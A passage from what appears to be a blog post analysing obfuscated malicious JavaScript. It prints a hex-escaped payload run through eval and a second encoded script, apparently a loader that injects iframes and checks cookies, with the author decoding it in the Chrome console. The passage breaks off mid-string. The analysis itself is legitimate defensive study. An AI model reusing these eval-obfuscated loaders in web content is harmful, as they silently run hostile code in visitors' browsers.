x43\x55\x55\x25\x32\x37\x25\x32\x39\x2e\x6f\x6a\x62\x62\x55\x2e\x4b\x5a\x51\x6c\x4d\x56\x70\x38\x25\x32\x37\x59\x63\x66\x62\x67\x25\x32\x37\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x4c\x71\x51\x55\x6f\x2e\x65\x64\x56\x55\x68\x61\x35\x43\x62\x50\x6d\x56\x25\x32\x38\x46\x50\x44\x5f\x54\x71\x61\x45\x56\x47\x4a\x53\x6e\x59\x53\x6a\x25\x32\x38\x5a\x5a\x64\x5f\x4e\x6b\x51\x70\x65\x5a\x62\x69\x5f\x6c\x71\x68\x25\x32\x39\x25\x32\x43\x25\x32\x30\x4c\x71\x51\x55\x6f\x2e\x62\x59\x55\x69\x6a\x77\x59\x47\x68\x45\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x61\x6c\x6a\x5a\x6b\x5a\x6e\x6a\x25\x32\x30\x30\x37\x31\x5f\x66\x64\x25\x32\x46\x68\x48\x51\x6a\x4c\x25\x32\x38\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x5a\x44\x25\x32\x30\x25\x32\x38\x66\x54\x68\x5f\x63\x6b\x58\x55\x56\x63\x25\x32\x39\x25\x32\x30\x6e\x49\x56\x57\x69\x64\x25\x33\x42\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x72\x51\x55\x25\x32\x30\x63\x6f\x76\x66\x42\x75\x25\x32\x30\x6e\x25\x32\x30\x59\x66\x59\x72\x64\x56\x6d\x70\x2e\x46\x51\x46\x70\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x59\x62\x25\x32\x30\x25\x32\x38\x63\x62\x34\x65\x4b\x70\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x48\x6f\x4e\x5f\x67\x66\x57\x61\x56\x55\x25\x32\x30\x25\x32\x46\x25\x32\x30\x70\x56\x57\x47\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x41\x49\x49\x5f\x65\x51\x25\x32\x46\x64\x50\x6b\x25\x32\x38\x4b\x75\x70\x6a\x55\x75\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x39\x62\x63\x6a\x64\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x30\x39\x6f\x49\x56\x38\x5a\x63\x61\x65\x58\x6a\x25\x32\x38\x25\x32\x32\x25\x33\x44\x25\x33\x44\x44\x5f\x4d\x6a\x71\x6d\x56\x57\x71\x56\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x73\x7a\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4a\x57\x50\x54\x6a\x65\x65\x51\x25\x32\x30\x4d\x59\x55\x55\x4d\x73\x32\x69\x63\x6b\x58\x55\x25\x32\x38\x57\x25\x32\x39\x25\x30\x44\x25\x30\x41\x25\x37\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x75\x57\x56\x25\x32\x30\x52\x54\x56\x6c\x25\x32\x30\x38\x25\x32\x30\x6d\x4c\x64\x54\x56\x6e\x2e\x4d\x6a\x4d\x6a\x52\x5a\x25\x33\x42\x25\x30\x44\x25\x30\x41\x25\x30\x39\x74\x5a\x65\x63\x6b\x61\x2e\x51\x50\x63\x65\x57\x54\x25\x32\x30\x70\x25\x32\x30\x56\x6b\x55\x54\x52\x65\x50\x69\x25\x32\x38\x25\x32\x39\x25\x32\x30\x25\x37\x42\x25\x32\x30\x5a\x62\x25\x32\x30\x25\x32\x38\x6d\x69\x56\x75\x25\x32\x39\x25\x32\x30\x6c\x56\x47\x58\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x57\x25\x32\x38\x25\x32\x39\x25\x33\x42\x25\x32\x30\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x37\x44\x25\x30\x44\x25\x30\x41\x25\x30\x44\x25\x30\x41\x4d\x65\x64\x47\x65\x6d\x38\x65\x4a\x6b\x42\x59\x25\x32\x38\x41\x4f\x4a\x5f\x66\x65\x42\x6e\x49\x43\x56\x56\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x69\x61\x6a\x39\x59\x63\x4c\x66\x53\x70\x25\x32\x38\x25\x32\x32\x78\x4e\x44\x5f\x6b\x6b\x36\x69\x64\x57\x58\x47\x25\x32\x38\x25\x32\x39\x25\x32\x32\x25\x32\x43\x25\x32\x30\x6a\x72\x71\x77\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x31\x25\x32\x41\x25\x30\x44\x25\x30\x41\x50\x69\x57\x25\x32\x30\x74\x25\x32\x30\x55\x5f\x46\x61\x59\x25\x32\x38\x25\x32\x30\x59\x5f\x53\x32\x31\x25\x32\x38\x25\x32\x30\x25\x33\x46\x25\x33\x46\x25\x32\x30\x25\x32\x39\x25\x32\x30\x25\x32\x39\x25\x33\x42\x25\x30\x44\x25\x30\x41\x45\x4b\x4c\x79\x33\x38\x45\x73\x44\x66\x47\x66\x43\x4d\x42\x75\x25\x32\x42\x66\x38\x78\x45\x50\x5a\x71\x44\x69\x39\x67\x31\x38\x51\x63\x4a\x70\x32\x6f\x43\x78\x51\x49\x4a\x4b\x50\x75\x4a\x51\x54\x71\x4c\x66\x72\x65\x31\x71\x50\x69\x44\x50\x43\x73\x37\x4b\x39\x7a\x31\x65\x38\x7a\x4a\x71\x25\x33\x44\x76\x4a\x4e\x35\x65\x25\x30\x44\x25\x30\x41\x45\x4a\x45\x6d\x33\x70\x47\x6b\x44\x48\x55\x59\x49\x61\x45\x7a\x44\x4b\x59\x66\x34\x4c\x49\x74\x50\x66\x25\x32\x46\x5a\x44\x5a\x25\x32\x42\x74\x25\x32\x42\x66\x77\x72\x45\x66\x46\x74\x50\x79\x56\x51\x32\x4c\x54\x6f\x49\x36\x42\x70\x44\x67\x25\x33\x44\x61\x4b\x37\x55\x62\x4a\x67\x4c\x75\x4c\x76\x43\x62\x32\x61\x61\x79\x43\x4d\x4f\x72\x25\x30\x44\x25\x30\x41\x37\x71\x74\x79\x41\x4f\x50\x78\x4b\x71\x48\x31\x4b\x25\x32\x42\x41\x62\x45\x63\x55\x74\x32\x70\x25\x33\x44\x53\x45\x48\x49\x64\x55\x61\x56\x68\x44\x64\x54\x73\x44\x73\x71\x59\x44\x50\x43\x66\x43\x4a\x46\x70\x79\x66\x38\x78\x51\x50\x56\x72\x45\x6c\x55\x63\x31\x73\x54\x6e\x4a\x70\x25\x32\x42\x73\x44\x41\x25\x33\x44\x55\x4a\x4e\x50\x74\x25\x30\x44\x25\x30\x41\x49\x51\x50\x72\x4d\x66\x76\x61\x31\x37\x53\x76\x44\x4d\x37\x73\x36\x61\x39\x78\x31\x68\x48\x79\x57\x61\x54\x79\x49\x4e\x70\x65\x45\x4a\x59\x70\x33\x70\x47\x6a\x44\x34\x56\x4c\x49\x64\x55\x30\x44\x71\x48\x73\x34\x4c\x74\x74\x4f\x79\x4b\x69\x44\x63\x25\x32\x42\x70\x78\x25\x33\x44\x25\x33\x44\x76\x45\x69\x56\x70\x44\x43\x55\x63\x25\x30\x44\x25\x30\x41\x32\x4c\x4c\x73\x56\x36\x79\x6d\x44\x51\x4c\x57\x49\x72\x54\x72\x4a\x6a\x50\x70\x4c\x25\x33\x44\x44\x4d\x32\x61\x37\x79\x4f\x63\x25\x33\x44\x5a\x36\x61\x6c\x79\x30\x4f\x50\x79\x4b\x61\x62\x31\x56\x25\x32\x42\x41\x5a\x45\x63\x49\x6f\x32\x36\x4f\x65\x44\x48\x25\x32\x42\x4e\x54\x4b\x56\x69\x45\x61\x6a\x79\x33\x62\x41\x6f\x43\x66\x33\x66\x25\x30\x44\x25\x30\x41\x43\x70\x47\x64\x79\x66\x4c\x79\x44\x76\x56\x6f\x44\x69\x39\x67\x31\x38\x50\x6f\x4a\x70\x32\x73\x50\x51\x51\x48\x4a\x61\x50\x75\x4a\x41\x50\x6f\x4c\x66\x73\x4e\x33\x4b\x25\x32\x46\x73\x44\x63\x37\x74\x37\x4b\x39\x78\x30\x65\x34\x7a\x4b\x37\x54\x30\x4a\x4e\x35\x65\x51\x5a\x45\x6d\x43\x4a\x61\x66\x44\x6f\x59\x5a\x25\x30\x44\x25\x30\x41\x49\x61\x51\x7a\x50\x71\x58\x74\x34\x62\x35\x74\x45\x50\x53\x66\x44\x63\x46\x70\x25\x32\x42\x50\x70\x66\x44\x43\x42\x73\x45\x53\x56\x4f\x31\x4c\x34\x73\x49\x4a\x42\x6f\x44\x67\x25\x33\x44\x61\x49\x25\x32\x42\x50\x75\x4a\x6a\x50\x70\x58\x76\x7a\x59\x32\x61\x47\x79\x50\x4d\x25\x32\x46\x6d\x37\x71\x78\x79\x31\x4f\x54\x78\x4a\x61\x34\x31\x25\x30\x44\x25\x30\x41\x49\x25\x32\x42\x42\x4d\x45\x5a\x67\x73\x33\x70\x50\x54\x44\x48\x39\x63\x48\x37\x59\x77\x45\x71\x6a\x79\x33\x62\x41\x76\x44\x69\x43\x66\x50\x5a\x33\x63\x78\x43\x34\x72\x50\x50\x56\x70\x45\x79\x67\x63\x31\x73\x4c\x6d\x4a\x70\x32\x74\x45\x41\x50\x58\x4a\x4b\x62\x74\x55\x77\x51\x64\x4c\x66\x72\x61\x42\x37\x25\x32\x46\x73\x25\x30\x44\x25\x30\x41\x43\x63\x37\x70\x36\x4b\x75\x69\x30\x75\x38\x76\x4a\x4b\x41\x6c\x49\x64\x74\x62\x44\x47\x38\x32\x25\x30\x44\x25\x30\x41\x25\x32\x41\x6f\x25\x30\x44\x25\x30\x41\x27\x29\x29\x3b'</span>; <span style="color: #0000ff">return</span> moqbqYo; } <span style="color: #0000ff">var</span> ifOXCIjSUMc = eval; ifOXCIjSUMc(aAwJinPSCPg());</pre>  </div></div></p>
<p><p>The \x45 are hex codes.&#160; Essencially what is going on here is the developer is using hex code to represent text.&#160; Not exactly super obfuscated, but interested.&#160; If you scroll all the way to the end you will see an ‘eval’ command – which reinforces the notion that eval is evil in javascript.&#160; Anyway, still using the console tab in Chrome, all of this can be evaluated.&#160; In this case, I have to evaluate it twice, because the outputted code is still obfuscated:</p></p>
<p><div style="border-bottom: gray 1px solid; border-left: gray 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; max-height: 200px; font-size: 8pt; overflow: auto; border-top: gray 1px solid; cursor: text; border-right: gray 1px solid; padding-top: 4px">  <div style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px">    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">   1:</span> <span style="color: #0000ff">var</span> clReNWvDNSS = <span style="color: #006080">'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='</span>; <span style="color: #0000ff">var</span> FzCfZkfvHvl = <span style="color: #006080">'f=(&lt;8=&gt;yy@=+))87=x*77.y'</span>;  <span style="color: #0000ff">function</span> blMfGaVxxxv(s) { <span style="color: #0000ff">var</span> vNbrQcGifBJ = <span style="color: #006080">''</span>; <span style="color: #0000ff">var</span> NcipcTbOcs = -1; <span style="color: #0000ff">var</span> c = 0; <span style="color: #0000ff">var</span> kDYCcFlZEm = 0; <span style="color: #0000ff">var</span> JRtzFtY = unescape(s);  <span style="color: #0000ff">for</span> (<span style="color: #0000ff">var</span> i=0;i&lt;JRtzFtY.length;i++) { NcipcTbOcs = clReNWvDNSS.indexOf(JRtzFtY.charAt(i)); <span style="color: #0000ff">if</span> (NcipcTbOcs &gt;= 0) { kDYCcFlZEm = (NcipcTbOcs - FzCfZkfvHvl.charCodeAt(c)) % clReNWvDNSS.length; <span style="color: #0000ff">if</span> (kDYCcFlZEm &lt; 0) { kDYCcFlZEm += clReNWvDNSS.length; }  vNbrQcGifBJ += clReNWvDNSS.charAt(kDYCcFlZEm);  c++; <span style="color: #0000ff">if</span> (c &gt;= FzCfZkfvHvl.length) { c = 0; } } <span style="color: #0000ff">else</span> { vNbrQcGifBJ += JRtzFtY.charAt(i); } }  <span style="color: #0000ff">return</span> vNbrQcGifBJ; } eval(blMfGaVxxxv(<span style="color: #006080">'TWS%20eji_oVgnnX_QP%09%093%20jnkH%3B%0D%0AlQY%20aQi_SZgkok_RbYIUU%093%20%27XpjS%3A11J.jRWUXfqkkVq.YSOnyt5xksvsrjZb1TW1uU%2Bxp%27%3B%0D%0AXCi%20Zoc_UUfViR_fBqRkk%093%20%27YspT%3AnnT.ipQWSebeRaS.Xfi8yu83mel2q7vlSRH0g0mw2%27%3B%0D%0ArXi%20ari_VGRfhp_ZDlQVWD%098%20%27Iokl%3A82T.rpEVEfkjjHh.SVdj3fww4ys2z7kFDVuxwj1rs%27%3B%0D%0Am%2Fn%20Knd_nbgfqp_PQCUUZ%092%20%27KjjW%3A2jY.ToRpZflmpIT.Efc7xhrvprd7b6V2Yrx54Jnd2%27%3B%0D%0AlWh%20Mic_YVNkSo_ckXUWZeP%09o%20%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgsv4rm1qsweWcXVz62s%2B%27%3B%0D%0A%0D%0ArET%20Ljc_hQE_ed%09%09%09t%20kPqF%3B%0D%0AqRn%20gjd_kWF_CETUoi%09%09p%20%27Xjag%3Aj7GgpbfjYdnW.EJ2ml-QGcYU2ALBiVhU2ZmZIZ.RYf%3FWSWYeU3QpBoj_WZTVro%27%3B%0D%0AZCT%20aii_bDR_ZHm%2FkO%09%097%20%27Ypqg%3A2%2BbPaHZidUUi.SO2Ul-BYdek2TOWRGNO1edGUn.WYN%3FWDoZkk3jsWXU_LRlWeQ%27%3B%0D%0AlQY%20aQi_MVS_fXmRnbJ%09%09o%20%27Jkjl%3A1oVbfWGoIZio.ZY2vl-EFOZd7S5QdLc87JiUau.gYo%3FWGVKfd8iWQjZ_a%2FrBjWb%27%3B%0D%0AsRi%20ioQ_NCS_bkQGUT%09%09t%20%27YRpQ%3A62bipWhoLGTj.Sd1Zf-QKdGjmXGWkVcW7MPFVn.lXS%3FQSaZMjnnkWqj_cnWHGF%27%3B%0D%0AmQn%20ZVc_bHS_JkBYWWfc%093%20%27gpXR%3An2VhoIYiOVPo.Dc2sm-RUleRnEGQjUON1PeBaY.kYl%3FXTkhkRoUkQpi_OeQKW%2FeM%27%3B%0D%0A%0D%0AqRn%20gjd_kkEFGU%09%09%092%20bQOiU%3B%0D%0AcRP%20fTh_RlmcVs_eRFGo%092%20x%3B%0D%0AlDh%20ZZd_%2FlQgVp_Zflmp%09q%20ecr%3B%0D%0AlWh%20Mic_HgNhFo_gnbWZw%098%20%27E%27%3B%0D%0AXCi%20Zoc_DffSVR_qSg%09%093%20%27dqkg%3A%2B7EFXRdYUGgkHcGpZnpoqVd.bkQnvVj79Hj.fOg%3F%2F8m%27%3B%0D%0A%0D%0AqRn%20gjd_okTWPUUn_kUb%092%20%27OkRl%3Am6TailcZnFQO.Tei1Mi1JcGYLkfl.gj%27%3B%0D%0A%0D%0AWtjGVKfd%20FI2_WUa4NlMZkQOC%28%29%0D%0A%7B%0D%0A%092%2BWPGTk%28Zoc_DffSVR_qSg%201%20fpd_RolPGV_ghaVLn%200%20QjK_WQkcaq_Zecab%20m%20%27.LRh%27%29%3B%0D%0A%09nUWkhU%20aQi_Bkghbk_lqh%20o%20LUd_QlfOUj_WiCbJs%201%20fpd_RolPGV_ZdZUa%200%20%27.ZHi%27%3B%0D%0A%7D%0D%0A%0D%0ADqOXkele%20ARI_GTGRja%2FIhQTV%28QnD%29%0D%0A%7B%0D%0A%09qRn%20fWiZiI%20o%20FfSqcHdj.JiCWUZ8hbdVmp%28%27MHTRca%27%29%3B%0D%0A%09YIhQTV.QnD%207%20jnZ%3B%0D%0A%09ZWqWQG.UkohU.YYiPSGhJop%208%20%27eZUcaR%27%3B%0D%0A%09KHiQiU.VjoSV.BeTkcWv%203%20%27ZmhMPG%27%3B%0D%0A%09ZVnQPU.iapJa.NVicfe%203%20%27z%27%3B%0D%0A%09eJTCdU.ojbbU.WRBZJiX%208%20%27x%27%3B%0D%0A%09ZWqWQG.UkohU.EehKVP%208%20%27Ojea%27%3B%0D%0A%09fWiZiI.UVpba.mLTjO%203%20%27Y%27%3B%0D%0A%09eGmRib.jkxhI.JGZWdj%20p%20%27q%27%3B%0D%0A%09hLkSnO%20dWnXdV%3B%0D%0A%7D%0D%0A%0D%0AeqREVZej%20%3D8C_SYV%2FpFNTnfgk%28rnG%29%0D%0A%7B%0D%0A%09XCi%20iYhLfj%20t%20UMYVhVjq.TidWXGtcUiUQj%28%27iJiGlU%27%29%3B%0D%0A%09nTnfgk.suTG%20o%20%27kUtjoZQcRQYSdgp%27%3B%0D%0A%09pTihlX.UTT%202%20ohF%3B%0D%0A%09hUalPj%20TXiemk%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20cUWNC5%2FRpQMVmrVjs%28%29%20%0D%0A%7B%0D%0A%09eJ%20%28YKeTkm.ACB1kRl5Zhqbjk%29%20qaXWTe%20dam%20ZYdKfU.T0G%2FpqgIdmYGUk%3B%0D%0A%09UhiH%0D%0A%09%7B%0D%0A%09%09jhf%0D%0A%09%09%7B%0D%0A%09%09%09iCpVme%20jbn%204bpMXGOEXZHSj%28%226ZAnPnfbq.ODKD%2B84%22%29%3B%0D%0A%09%09%7D%0D%0A%09%09TQpSK%28Un%29%0D%0A%09%09%7B%0D%0A%09%09%09YVRqSi%20eqic%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_bQIIClPmk%28qoc%29%0D%0A%7B%0D%0A%09mZn%20S6Gh%202%20cUWNC5%2FRpQMVmrVjs%28%29%3B%0D%0A%09eJ%20%28Q6Vg%29%0D%0A%09%7B%0D%0A%09%09kHHg.eUiCWEtjpXkVbdEPIV%202%20bkQSjPfL%20%28%29%0D%0A%09%09%7B%0D%0A%09%09%09eG%20%28jIan.iVZZc7VRja%202p%20u%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09YM%20%28f2aR.nkWqlj%20%2F8%20gcc%29%0D%0A%09%09%09%09%7B%0D%0A%09%09%09%09%0921sYQTed.RJaSo%28%27Wnld%20TZhPDCTa%20%27%206%20e7Ug.YVQlPijaQVos%29%3B%0D%0A%09%09%09%09%7D%0D%0A%09%09%09%7D%0D%0A%09%09%7D%3B%0D%0A%09%0D%0A%09%09k8GS.ffad%28%22w7J%22%2C%20biJ%2C%20pSpV%29%3B%0D%0A%09%09kOVh.raRF%28%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHldYjLed%203Jx_hBWIamfisy%28YTN%29%0D%0A%7B%0D%0A%09mQn%20XK4eKp%20k%20ZPXlibek.akHa%3B%0D%0A%09KW%20%28Xd4RTo%29%0D%0A%09%7B%0D%0A%09%09OYmkEt.ZjpVis%2BIHQiU%28FI2_ShLRRawaiWjV%28lqh%29%2C%20LJqfTu.VLhia6FeMY%29%3B%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AWqkTkhkR%20y7D_SnUDjU2dE%28oSX%29%0D%0A%7B%0D%0A%09mWo%20Zdf%208%20HQElcadW.ShLRRasgVibek%28%27hiK%27%29%3B%0D%0A%09KOX.inS%20p%20ihJ%3B%0D%0A%09iCpVme%20ejX%3B%0D%0A%7D%0D%0A%0D%0AWtjGVKfd%20FI2_ShLRRa6kRj%28ekdk%29%0D%0A%7B%0D%0A%09rET%20UgQj%202%20GeSbdCjU.XiaXkVDhIOGej%28%27ofDd%27%29%3B%0D%0A%09iWRL.eOiVnEKDK%208%20LVOc%3B%0D%0A%09hajXhd%20Zg%2Fj%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_IVj9fSbUa%2FRiM%28%29%0D%0A%7B%0D%0A%09mVprie%20%27%3CZlTNGk%20dWcH2%22%2A3A8y%C7%C3K%2A%20oolWiZqZ%E7%E3k%20HG%207VWqhDd%E7Q%20wcGmVZ%20Vi%20BO8BQ%2Bp6%20%21%21%22%20TeZUp%22Q.SSRQo%22%20BmTdfmV%2F%22%27%206%20071_XUp3SfbLk5Nz%28%29%205%20%27%3Fi8%27%207%20DRsd.JNQfh%28xqdqqh%201%20%28xWUc.iWkUfl%28%29%2A5nll0z%206%20r%29%29%20n%20%27%22%20mYKkF8%22b%22%20cVedYk%2F%22w%22%20%20WVacU8%22lLiYIZJeUt%3A%20YeaUVm%22%3E%09%09%3ClETCd%20dWcH2%22b%22%20cRJqF7%22Ypqg%3A2%2BoQUHRca.SRc10VR7uZk.leg%3FR%2FfVG.GoU%22%3E%3C7fDhQT%3E%3C2%2FlQgVp%3E%27%3B%0D%0A%7D%0D%0A%0D%0AclebpMQP%20AII_WHj3WgJaUCkii_O%28%29%0D%0A%7B%0D%0A%09idpYTP%20%27%3CRflbHj%20dHdC8%22%2AoO8J%C7%C3L%2A%204ktWPKbR%E7%E3e%20ZU%208UWbi%2Fj%E7B%20%2BcenlV%20di%20v%3Dt6KP37%20%21%21%22%20SeKVk%22W.DgRop%22%20RibdMXG3%22%27%200%20fiP_QfWcCp_Vmc%206%20%27gRmZX.NCT%3Fi2%27%206%20CDjX.McMkS%28wrwxrr%209%20%28IEVJ.iQjTRc%28%29%2Azq0h5k%205%20s%29%29%206%20%27%22%20tZUsdq%22c%22%20JVYcXW2%22q%22%20%20ZkWhF7%22mepZShhMVa%3A%20YYZTHd%22%3E%09%09%3CfHi%2Fi%20OVda9%22c%22%20mZhYGo%22Yjpf%3Ao1iTjDWNZ.Tkj2%2BdppvGk.fdf%3FD2ZYV.CtF%22%3E%3C6gWoRd%3E%3C%2BWTRNVj%3E%27%3B%0D%0A%7D%0D%0A%0D%0AbkQSjPfL%20F6H_fjIfRc%28%29%0D%0A%7B%0D%0A%097pTGgenj%20OeQK%20jSYDZjo%0D%0A%09fW%20%28ari_VGRfhp_eQ%29%20%3DI6_TPaBoVEjX%28ari_VGRfhp_bRQTLU%29%3B%0D%0A%09j7Ja%20%28aoj_cRa_kR%29%20y7D_bWR7UfViR%28fTh_cWY_cfZZIF%29%3B%0D%0A%09KW%20%28Zoc_OQR_Ve%29%20uO0_gRXOVgnnXe%28Ljc_hQE_beHUCZ%29%3B%0D%0A%7D%0D%0A%0D%0AGpeYqZfm%20F91_QeBkQG%3DQcR8%28%29%0D%0A%7B%0D%0A%09F6H_TnbRkdEQI%28%27Jkjl%3A1oS.iaRRYPpepbi.Tnipjgwv2sg1qsSB3iZRya2s%2B%27%29%3B%0D%0A%7D%0D%0A%0D%0AbYPEkYkd%20zIC_VewkBY9Wfc%28%29%0D%0A%7B%0D%0A%092%2BnIRQij%20heDT%20VHZJ%0D%0A%09eG%20%28eji_oVgnnX_QP%29%20AII_SUUQaVtiH%28eji_oVgnnX_NQRTbQLb%29%3B%0D%0A%091sZD%20%28fTh_cWY_fe%29%20IO3_NCSHafRhj%28QjK_hBW_ckXUWZeP%29%3B%0D%0A%09KH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqpg%28LUd_bWR_OeQKW%2FeM%29%3B%0D%0A%09%0D%0A%09dW%20%28fpd_RolPGV_ZdZUa%20%3C%20ZiT_RNlMZk_Ylles%29%0D%0A%09%7B%0D%0A%09%09fWO_CgfhUW_YdKVV6l%3B%0D%0A%09%0D%0A%09%09qRn%20e5fcu%20q%20FQTkiUQj.RVUW%3B%0D%0A%09%09eG%20%28c5kap%29%0D%0A%09%09%7B%0D%0A%09%09%09mZn%20LVOc%202%20FI2_WUa4NlMZkDqdc%28%29%3B%0D%0A%09%09%09g%2BSFa.ZdoUUj4LWMnF%28EJI_ZiVZpI7RRd%28djPb%29%2C%20XvfBu.Gdioq6YhhH%29%3B%0D%0A%09%09%7D%0D%0A%09%7D%0D%0A%7D%0D%0A%0D%0AHWeSpYRd%20%3D%3DD_MjwiZp%28e5fcu%29%0D%0A%7B%0D%0A%09%0D%0A%09pnTVfkhW%20QSJVQo%0D%0A%09Ja%20%28aoj_iVokVV_Qe%29%20%3DOC_FhUHkCENb%28aoj_iVokVV_CTSaiV%29%3B%0D%0A%0911PW%20%28HoN_gRX_le%29%20ARI_PCDIUleUj%28ZZd_JWC_VTYbjj%29%3B%0D%0A%09hb%20%28NUO_cQX_eQ%29%20%3DI6_c%2FX5Zgkokt%28ioQ_NCS_QYSHii%29%3B%0D%0A%09%0D%0A%09PW%20%28F%2BPYp%29%0D%0A%09%7B%0D%0A%09%09rXi%20YsiP%20o%20%27%27%3B%0D%0A%09%09%0D%0A%09%09KW%20%28dWlLWQafP.fBqRAkRSkaH%28%29%29%0D%0A%09%09%7B%0D%0A%09%09%09nnaQrQ%20Rd%0D%0A%09%09%09%0D%0A%09%09%09XadJ%208%20xND_cbk4olPGV%2Fjib%28%29%20n%20%27%20%27%200%20%3D%3DD_EaU8gliVkGpQN_%3D%28%29%3B%0D%0A%09%09%09%0D%0A%09%09%0921nUSeha%20a%2FrB%20ZeWYcVc%20WGEGji%0D%0A%09%09%09eV%20%28Mic_YVNkSo_fj%29%20GJD_bnICVV%2FiW%28Mic_YVNkSo_aWsRfm%29%3B%0D%0A%09%09%097pKH%20%28aii_bDR_eU%29%20A3I_MVSNbgfqp%28NUO_cQX_ZDlQVe%29%3B%0D%0A%09%09%09Gb%20%28Knd_hXS_fm%29%20F91_NRRNUSehat%28HoN_gRX_gRmZkR%29%3B%0D%0A%09%09%09%0D%0A%09%09%09JqfTu.YQiUYkmaGjia%28GJD_bnICVVIlQQ%28XjTc%29%2C%20F%2BPYp.bfijs%2FLKNU%29%3B%0D%0A%09%09%7D%0D%0A%09%09UhiH%0D%0A%09%09%7B%0D%0A%09%09%0911QRTW%20PaW%0D%0A%09%09%09%0D%0A%09%09%09ec%20%28kpoaSH%20YZdZeZ.YdUVPSJYkd%20%219%20%27lecaJKPVT%27%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%20%20rYHmfViRsJYkd%209%20nZmZSY.Kedah%3DYTaY%3B%0D%0A%09%09%09%20%20TeFrgkokYdeKJV%203%20medGem.PeLaSCVedYk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%20%0D%0A%09%09%09dhWG%20KW%20%28jufHeV%20KfAqNZep.afTtiIPV8bacHdj%20%21t%20%27lLZFaZjbU%27%20%26%26%20kxlIQH%20UeYkPUda.UMYVhVjq8cdiIPV.TbeUQjMPURd%20%21n%20%27peZbWZmaH%27%20%26%26%20FQTkiUQj.TVTSiFikAiVddjX.ENZUjj%3DYTaY%20%21k%20w%29%0D%0A%09%09%09%7B%0D%0A%09%09%09%09WdVsmfissMFVY%202%20ZeFkcLeR.ZPXlibekDhIOGej.YbLUdaNGZUc%3B%0D%0A%09%09%09%09mebngnnXJGZWdj%20p%20TeJlKaOo.UkZlddjXtNVcadW.SbPVLpvZZcek%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09VkoI%0D%0A%09%09%09%7B%0D%0A%09%09%09%09XKVmleUjmPURd%20n%20YfYrdVmp.KGV8bacHdjZ5WPBbEWjV%28%27SnZc%27%29%5Bc%5D.EcYadWMYKkF%3B%0D%0A%09%09%09%09rJZnllikgaMIJk%202%20ZeFkcLeR.cFo8hbdVmpWqaKQcDDcU%28%27IfBu%27%29%5Bb%5D.XcebekGaMIJk%3B%0D%0A%09%09%09%7D%0D%0A%09%09%09%0D%0A%09%09%0917XWcb%20t%20%27a%2FrB%20dj%20JLK%20VmWFNGU...%27%3B%0D%0A%09%09%09XpcO%202%20%27%3CTPm%20GZn%22spv_iZXgp_GQPk%22%20ipoOU2%22KZQlMVp%3A%20jleV%3B%20okWKVZej%3A%20QEieSlRa%3B%20UZop-XcZfj%3A%20GGPkUn%3B%20jRf%3A%20q%3B%20SVDp%3A%20b%3B%20rZZqY%3A%20szz%25%3B%20LGKXXp%3A%20rdt%25%3B%20p-PeBaY%3A%204rwz%3B%20SRbgKTQldZ%3A%20dRdU%22%3E%3CKZT%20eE7%22ouw_cZfdX%22%20UVpba2%22GYiWc%2Fu%3A%20Ojea%3B%20jRifeR%3A%20c%20Cljk%3B%20cDhWPe-RkQ%3A%20wuwmo%3B%20nhZXJ%3A%20irqln%3B%20SQTKZLc%3A%20b%3B%09WfnaVi%3A%2002T